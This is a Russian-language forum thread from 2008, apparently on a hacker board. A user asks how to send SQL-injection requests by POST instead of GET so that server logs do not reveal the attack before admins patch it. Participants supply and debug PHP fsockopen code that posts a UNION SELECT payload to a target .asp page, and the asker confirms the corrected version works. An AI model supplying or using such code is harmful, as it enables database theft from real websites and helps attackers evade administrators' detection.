Просмотр полной версии : Convert GET => POST?
shellz[21h]
10.07.2008, 20:16
Все доброе время суток.
Как можно реализовать на php конвертацию GET'a в POST метод. Нужно это для дампера SQLinj, а то палится гет хорошо в логах и админ быстро закрывает бреш в системе. Если кто подскажет, буду благодарен.
aka PSIH
10.07.2008, 20:19
P2GmadGEN (http://madnet.name/files/1/11.html) (c)madnet ;)
shellz[21h]
10.07.2008, 20:23
Благодарю, Респект тебе и Маднету :)
shellz[21h]
12.07.2008, 00:54
<?php
$fsoc = fsockopen("site.com", 80);
$req = "POST /bag.asp HTTP/1.0\r\n";
$req .= "Connection: keep-alive\r\n";
$req .= "Content-Length: 45\r\n";
$req .= "Content-Type: text/html\r\n";
$req .= "Host: site.com\r\n";
$req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n";
$req .= "\r\n";
$req .= "page=-11+union+select+1,2,3--\r\n";
fwrite($fsoc, $req );
while (!feof($fsoc))
echo fread($fsoc,102400);
fclose($fsoc);
?>
Данный код, работает не корректно. Выводит страницу с ошибкой, но результат инъекции не выводит, в чем ошибка?
$req .= "Content-Length: 45\r\n";
cc чего ты взял что тут
page=-11+union+select+1,2,3--
45 символов?
shellz[21h]
12.07.2008, 03:25
cc чего ты взял что тут
45 символов?
нет, это я примеру написал. Может ктонить привести аналогичный код, но только чтоб работал.
<?php
$host = 'site.com';
$url = fsockopen($host, 80);
$data_p = "page=-11+union+select+1,2,3--";
$req = "POST /bag.asp HTTP/1.0\r\n";
$req .= "Host: site.com\r\n";
$req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: ".strlen($data_p)."\r\n";
$req .= "Connection: Close\r\n\r\n";
$req .= $data_p;
fputs($url, $req);
while (!feof($url)) $s[] = fgets($url, 1028);
fclose($url);
print_r($s);
?>
shellz[21h]
12.07.2008, 05:06
c411k, спасибо большое, теперь работает на ура! :) вопрос больше не имею.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot